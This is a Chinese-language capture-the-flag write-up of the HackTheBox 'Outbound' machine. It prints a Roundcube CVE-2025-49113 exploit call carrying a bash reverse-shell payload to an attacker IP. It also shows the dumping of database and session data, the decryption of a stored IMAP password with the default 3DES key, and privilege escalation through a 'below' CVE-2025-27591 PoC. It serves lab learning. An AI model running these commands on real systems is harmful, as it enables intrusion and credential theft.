Pwned-Exploiting HTB Outbound

Outbound

第一步用nmap进行扫描

1
nmap -sV -sC --min-rate 1000 --max-retries 1 10.10.11.73 --verbose

发现有22、80端口。
picture 0
那就看看80端口服务,是个邮箱系统,直接把php代码甩给gpt,发现系统为Roundcube Webmail 1.6.10,那就开始找是否存在漏洞。

picture 1

那就去找POCCVE-2025-27591-PoC

按照HTB的账号密码提示,以及POC的脚本执行命令,直接执行。

1
2
3
4
# 首先开启监听端口
ncat -lvnp 4444

php CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 'bash -c "bash -i >& /dev/tcp/10.10.16.3/4444 0>&1"'

直接反弹shell
picture 2

提权

下一步就看看有啥能利用的,先切换到提示用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
su tyler
# 看看能不能创建交互式命令行
which python3
which python
# 都没有显示,那就不行了,如果有其他方法,我也不知道
# 进入home看看有几个用户
cd /home
ls -al
total 32
drwxr-xr-x 1 root root 4096 Jun 8 12:05 .
drwxr-xr-x 1 root root 4096 Jul 9 12:41 ..
drwxr-x--- 1 jacob jacob 4096 Jun 7 13:55 jacob
drwxr-x--- 1 mel mel 4096 Jun 8 12:06 mel
drwxr-x--- 1 tyler tyler 4096 Jun 8 13:28 tyler
# 在tyler里面看一圈,好像也没啥东西,再看看有啥能执行,发现不行
sudo -l
bash: line 25: sudo: command not found

# 那就去网页的地方看看
cd /var/www/html
ls -la
total 28
drwxr-xr-x 1 root root 4096 Jun 6 18:55 .
drwxr-xr-x 1 root root 4096 Jun 6 18:55 ..
-rw-r--r-- 1 root root 615 Jun 6 18:55 index.nginx-debian.html
drwxr-xr-x 1 www-data www-data 4096 Jun 6 18:55 roundcube

# 进到roundcube看看
cd roundcube
ls -al
total 412
drwxr-xr-x 1 www-data www-data 4096 Jun 6 18:55 .
drwxr-xr-x 1 root root 4096 Jun 6 18:55 ..
-rw-r--r-- 1 www-data www-data 2553 Feb 8 2025 .htaccess
-rw-r--r-- 1 www-data www-data 216244 Feb 8 2025 CHANGELOG.md
-rw-r--r-- 1 www-data www-data 12714 Feb 8 2025 INSTALL
-rw-r--r-- 1 www-data www-data 35147 Feb 8 2025 LICENSE
-rw-r--r-- 1 www-data www-data 3853 Feb 8 2025 README.md
-rw-r--r-- 1 www-data www-data 1049 Feb 8 2025 SECURITY.md
drwxr-xr-x 7 www-data www-data 4096 Feb 8 2025 SQL
-rw-r--r-- 1 www-data www-data 4657 Feb 8 2025 UPGRADING
drwxr-xr-x 2 www-data www-data 4096 Feb 8 2025 bin
-rw-r--r-- 1 www-data www-data 1086 Feb 8 2025 composer.json
-rw-r--r-- 1 www-data www-data 56802 Feb 8 2025 composer.lock
drwxr-xr-x 2 www-data www-data 4096 Jun 6 18:55 config
-rw-r--r-- 1 www-data www-data 11200 Feb 8 2025 index.php
drwxr-xr-x 1 www-data www-data 4096 Jun 11 07:46 logs
drwxr-xr-x 37 www-data www-data 4096 Feb 8 2025 plugins
drwxr-xr-x 8 www-data www-data 4096 Feb 8 2025 program
drwxr-xr-x 3 www-data www-data 4096 Jun 6 18:55 public_html
drwxr-xr-x 3 www-data www-data 4096 Feb 8 2025 skins
drwxr-xr-x 1 www-data www-data 4096 Aug 13 01:40 temp
drwxr-xr-x 14 www-data www-data 4096 Feb 8 2025 vendor

# 看到有个config,看看去
cd config
ls -al
total 92
drwxr-xr-x 2 www-data www-data 4096 Jun 6 18:55 .
drwxr-xr-x 1 www-data www-data 4096 Jun 6 18:55 ..
-rw-r--r-- 1 www-data www-data 164 Feb 8 2025 .htaccess
-rw-r--r-- 1 root root 3024 Jun 6 18:55 config.inc.php
-rw-r--r-- 1 www-data www-data 2943 Feb 8 2025 config.inc.php.sample
-rw-r--r-- 1 www-data www-data 65000 Feb 8 2025 defaults.inc.php
-rw-r--r-- 1 www-data www-data 2806 Feb 8 2025 mimetypes.php

# 看吧,一个一个的

cat config.inc.php

把内容直接甩给gpt,人家都说的很明白了。
picture 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 因为没有交互式终端 只能连接同时执行数据库命令
mysql -u roundcube -p'RCDBPass2025' -h localhost roundcube -e "SHOW TABLES;"
Tables_in_roundcube
cache
cache_index
cache_messages
cache_shared
cache_thread
collected_addresses
contactgroupmembers
contactgroups
contacts
dictionary
filestore
identities
responses
searches
session
system
users

# 看看users吧,里面三个用户,也没有密码
mysql -u roundcube -p'RCDBPass2025' -h localhost roundcube -e "SELECT * FROM users;"
# 看看session

mysql -u roundcube -p'RCDBPass2025' -h localhost roundcube -e "SELECT * FROM session;"

有一串类似base64的字符串。
picture 5
CyberChef来解一下,看到密码了,解一下,解不开,前面说用了DES加密,问问聪明的gpt
picture 6

聪明的gpt说这个用的是3DES,那就试试呗,先把密码转成HEX

picture 7

key就是rcmail-!24ByteDESkey*Str,不知道IV是什么。问问聪明的gpt

picture 8

他说
具体流程是这样的(以旧版 3DES/rcube_crypto 为例): 当 Roundcube 用 des_key 加密 IMAP 密码时,会随机生成一个 8 字节的 IV。 它把这个 IV 放在密文的前 8 个字节,然后再 Base64 编码。
那就取前8个字节呗。解出来是595mO8DmwGeD

picture 9

那就试试呗,切换下用户jacob

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
su jacob
Password: 595mO8DmwGeD
whoami
jacob

# 进去home看看
cd /home/jacob
ls -la
total 36
drwxr-x--- 1 jacob jacob 4096 Jun 7 13:55 .
drwxr-xr-x 1 root root 4096 Jun 8 12:05 ..
lrwxrwxrwx 1 root root 9 Jun 6 19:03 .bash_history -> /dev/null
-rw-r--r-- 1 jacob jacob 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 jacob jacob 3771 Mar 31 2024 .bashrc
-rw-r--r-- 1 jacob jacob 807 Mar 31 2024 .profile
drwx------ 1 jacob jacob 4096 Jul 9 12:41 mail

有个mail 看看,发现密码了,ssh一下试试
picture 10
连接成功了,看看能不能提权到root
picture 11
belowroot权限执行的,看看啥版本
picture 12
0.8 看看有没有CVE,经过查询,真有CVE-2025-27591
picture 13

按照给出的POC,验证成功

又学到了T_T